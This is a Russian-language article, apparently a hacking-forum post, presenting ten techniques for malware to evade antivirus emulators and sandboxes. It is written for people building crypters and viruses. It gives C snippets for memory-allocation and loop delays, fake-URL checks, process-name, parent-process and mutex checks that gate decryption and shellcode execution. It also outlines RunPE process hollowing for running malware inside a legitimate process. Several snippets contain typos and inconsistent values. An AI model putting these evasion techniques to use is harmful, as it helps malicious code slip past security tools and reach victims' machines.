Десяток трюков как обойти эмулятор антивируса и скрыть свой код
Скрывать свой код нужно обычно при написании своего протектора/криптора, что-бы антивирус несмог расшифровать код перед запуском.
Также полезно например, если ваш вирус использует сплоит, который известен антивирусам.
Итак десяток безотказных трюков:
1: Выделение и заполнение 100 миллионов байтов памяти.
В этом примере, мы просто выделяем и заполняем 100 мегабайт памяти. Этого достаточно, для того, чтобы обескураживания любую антивирусную эмуляцию.
Пример кода:
Код:
#define TOO_MUCH_MEM 100000000 int main( void ) { char * memdmp = NULL; memdmp = (char *) malloc(TOO_MUCH_MEM); if( memdmp != NULL ) { memset(memdmp, 00, TOO_MUCH_MEM); free(memdmp); //Тут код, который нужно скрыть от АВ } return 0; }
2: 100 миллионная инкременция:
Этот метод ещё легче. В данном случаем, мы используем for цикл, чтобы инкрементировать переменную счётчик 100 миллионнов раз. Этого достаточно, чтобы обойти антивирус, но это ничто для современного процессора. Человек не заметит никакой разницы между этим кодом и кодом без обхода.
Пример кода:
Код:
#define MAX_OP 100000000 int main( void ) { int cpt = 0; for(int i = 0; i < MAX_OP; i++) { cpt++; } if( cpt == MAX_OP ) { //Тут код, который нужно скрыть от АВ } return 0; }
3: Попытка открыть несуществующий URL
Метод, который часто используется чтобы определить то, что мы в песочнице, - это загрузка определенного файла из Интернета и сравнение его хеша с хешем, оригинальным хешем кода. Почему это работает? Потому что окружение песочницы не даёт потенциальному вредоносному файлу доступ в интернет. Когда проверяемый файл открывает интернет страницу в песочнице, то песочница будет отправлять сгенерированный файл. И поэтому, хеш этого файла не будет совпадать с реальным хешем.
У этого метода есть несколько проблем. Этот никогда не заработает, если у вас нет доступа в интернет. Второе, если проверяемый файл будет изменён или удалён, то код перестанет работать.
Другой метод, который не имеет этих проблем, заключается в том, чтобы попробовать получить доступ к сайту, которого не существует. В эмуляции это выйдет, а в реальном мире нет, потому что песочница/эмуляция вернёт свою сгенерированную страницу.
Пример кода:
Код:
#include <Wininet.h> #pragma comment(lib, "Wininet.lib") int main( void ) { char cononstart[] = "http://www.notdetectmalicouscode.com//"; //Несуществующий URL char readbuf[1024]; HINTERNET httpopen, openurl; DWORD read; httpopen = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); openurl = InternetOpenUrl(httpopen, cononstart, NULL, NULL, INTERNET_FLAG_RELOAD|INTERNET_FLAG_NO_CACHE_WRITE, NULL); if(!openurl) { InternetCloseHandle(httpopen); InternetCloseHandle(openurl); //Тут код, который необходимо скрыть } else { InternetCloseHandle(httpopen); InternetCloseHandle(openurl); } }
4.Действия, которые зависят от локального пользователя:
Если вам известно имя одного из пользователей, то возможно узнать и о действиях этого пользователя. Например, мы можем писать и читать из файла пользователя. В коде ниже, мы создали файл на рабочем столе и записали туда некоторые символы.
Код:
#define FILE_PATH "C:\\Users\\bob\\Desktop\\tmp.file" int main( void ) { HANDLE file; DWORD tmp; LPCVOID buff = "1234"; chat outputbuff[5] = {0}; file = CreateFile(FILE_PATH, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); if( WriteFile(file, buff, strlen((const char *)buff), &tmp, NULL) { CloseHandle(file); file = CreateFile(FILE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(ReadFile(file, outputbuff, 4, &tmp, NULL)) { if(strncmp(buff, outputbuff, 4) == 0) { //Тут код, который необходимо скрыть } } CloseHandle(file); } DeleteFile(FILE_PATH); return 0; }
Добавлю, если вы знаете некоторую информацию о целевом устройстве, то вы сможете легко обойти любой антивирус. Просто свяжите механизм расшифрования кода с тем, что вы знаете о целевом ПК (или группе ПК).5: Чёртов NUMA:
NUMA означает Non Uniform Memory Access. Это метод настройки управления памятью в многопроцессорных системах. Он связан с целым набором функций, объявленных в Kernel32.dll. Больше информации об этом вы можете получить здесь.
Этот код будет работать на ПК, но не будет работать в эмуляции. :)
Код:
int main( void ) { LPVOID mem = NULL; mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0); if( mem != NULL ) { //Тут код, который нужно скрыть } return 0; }
6.Проверяем память процесса:
Когда антивирус сканирует процесс, это влияет на его память. Антивирус будет выделять память для этого, также API процесс эмулируемого кода будет возвращать не те значения, что ожидались. В текущем процессе я буду использовать GetProcessMemoryInfo. Если этот текущий рабочий сет превышает 3 500 000 байт, я считаю, что код работает в антивирусном окружении, а если это не так, то код расшифровывается и запускается.
Код:
#include <Psapi.h> #pragma comment(lib, "Psapi.lib") int main( void ) { PROCESS_MEMORY_COUNTERS pmc; GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc)); if( pmc.WorkingSetSize<=350000 ) { //Тут код, который нужно скрыть } return 0; }
7.Как меня зовут?
Поскольку эмулируемый код стартует не с именем бинарного файла, то возможно проверить имя процесса. Этот метод был описан в далёком 2013 году Атиллой Мороси, об этом способе вы можете почитать здесь.
Имя тестируемого процесса "test.exe". В программе ниже мы проверяем имя файла на содержание имени оригинального процесса.
Код:
int main( int argc, char * argv[] ) { if( strstr( argv[0], "test.exe" > 0 ) ) { //Тут код, который нужно скрыть } return 0; }
8. Я собственный отец.
Обычно антивирусы не способны следовать за дочерним процессом, а будут сканировать родительский процесс (даже если их код одинаковый).
В этом примере, исполняемый файл (test.exe) будет входить в фазу расшифровывания, только если его родительский процесс также test.exe.
Код:
#include <TlHelp32.h> #include <Psapi.h> #pragma comment( lib, "Psapi.lib" ) int main( void ) { int pid = -1; HANDLE hProcess; HANDLE h = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe = { 0 }; pe.dwSize = sizeof( PROCESSENTRY32 ); pid = GetCurrentProcessID(); if( Process32First( h, &pe ) { do { if( pe.th32ProcessID == pid ) { hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe.th32ParrentProcessID ); if( hProcess != NULL ) { HMODULE hMod; DWORD cbNeeded; TCHAR processName[ MAX_PATH ]; if( EnumProcessModules( hProcess, &hMod, sizeof( &hMod ), &cbNeeded ) { GetModuleBaseName( hProcess, hMod, processName, sizeof( processName )/sizeof( TCHAR ) ); if( strncmp( processName, "test.exe", strlen( processName ) == 0 ) { //Тут код, который нужно скрыть } else { startExe("test.exe"); Sleep(1000); } } } CloseHandle( hProcess ); } } while ( Process32Next( h, &pe ) ); } CloseHandle( h ); return 0; }
9.Сначала откроем мьютекс
В коде этого примера (test.exe), запускать фазу расшифровки мы будем только если определённый мьютекс объект всё ещё существует в системе. Трюк в том, что если объект не существует, то этот код будет создавать и вызывать новый инстанцию себя. Дочерний процесс попытается создать мьютекс до того, как родительский процесс умрёт и впадает в ERROR_ALREADY_EXIST.
Код:
int main( void ) { HANDLE mutex; mutex = CreateMutex( NULL, TRUE, "muuuu" ); if( GetLastError() == ERROR_ALREADY_EXIST ) { decryptCodeSection(); startShellCode(); } else { startExe("test.exe"); Sleep(100); } return 0; }
10.Небольшой ликбез о запуске стороннего кода (Кто незнал просветить, а кто забыл тем вспомнить):- Метод инъекции кода
Инъекция кода состоит во внедрении кода в другой процесс. В основном это делается с помощью DLL инъекции, но существуют и другие методы. Сложность этого метода заключается в том, что при инъекции кода мы должны найти способ выполнить нужный нам код, не загружаясь системой нормально (особенно, потому что базовый адрес постоянно меняется). DLL инъекция, работает только если подгружается DLL. При использовании инъекции кода, важно помнить, что код должен быть в состоянии модифицировать указатели памяти основанные на перемещении секций.
DLL инъекция и инъекция кода уже были описаны в интернете. Эти методы трудно воплощаются в жизни, поэтому их описание выходит за рамки этой статьи. Просто имейте в виду, что инъекция кода это хороший способ оставаться скрытым, но этот метод содержит много кода, который может быть опознан эвристическом анализатором как вредоносный.
- Метод RunPE
Термин "RunPE" относится к способу, который состоит из запуска некоторого кода в другом процессе, заменяя код процесса, на код который вы хотите выполнить. Различие между инъекцией кода, это то, что при инъекции кода вы выполняете код в отдалённом процессе; в RunPE методе вы заменяете код удалённого процесса на тот, который вы хотите выполнить.
Вот краткий пример того, как он может работать, чтобы скрыть вредоносное ПО.
Представьте, что вредоносная программа упакована/зашифрована и вставлена в другой двоичный файл, предназначенный для загрузки (используя, например, связанные ресурсы). Когда загрузчик будет запущен, он:
- Создаст действующий системный процесс, используя, например, CreateProcess.
- Прекратит проецировать память процесса, используя NtUnmapViewOfSection.
- Заменить память, кодом малвари (используя WriteProcessMemory).
- После возобновления процесса (используя ResumeThread) вредоносный код выполнится вместо процесса.
Заметка: Замещение памяти процесса невозможно, если процесс защищён с помощью DEP (Data Execution Prevention).
В этом случае, вместо того, чтобы использовать метод RunPE, загрузчик может просто вызвать другой экземпляр самого себя и внедрить в него вредоносный код.
Поскольку модифицированный код написан самим злоумышленником, метод всегда будет работать (при условии, что загрузчик скомпилирован без DEP).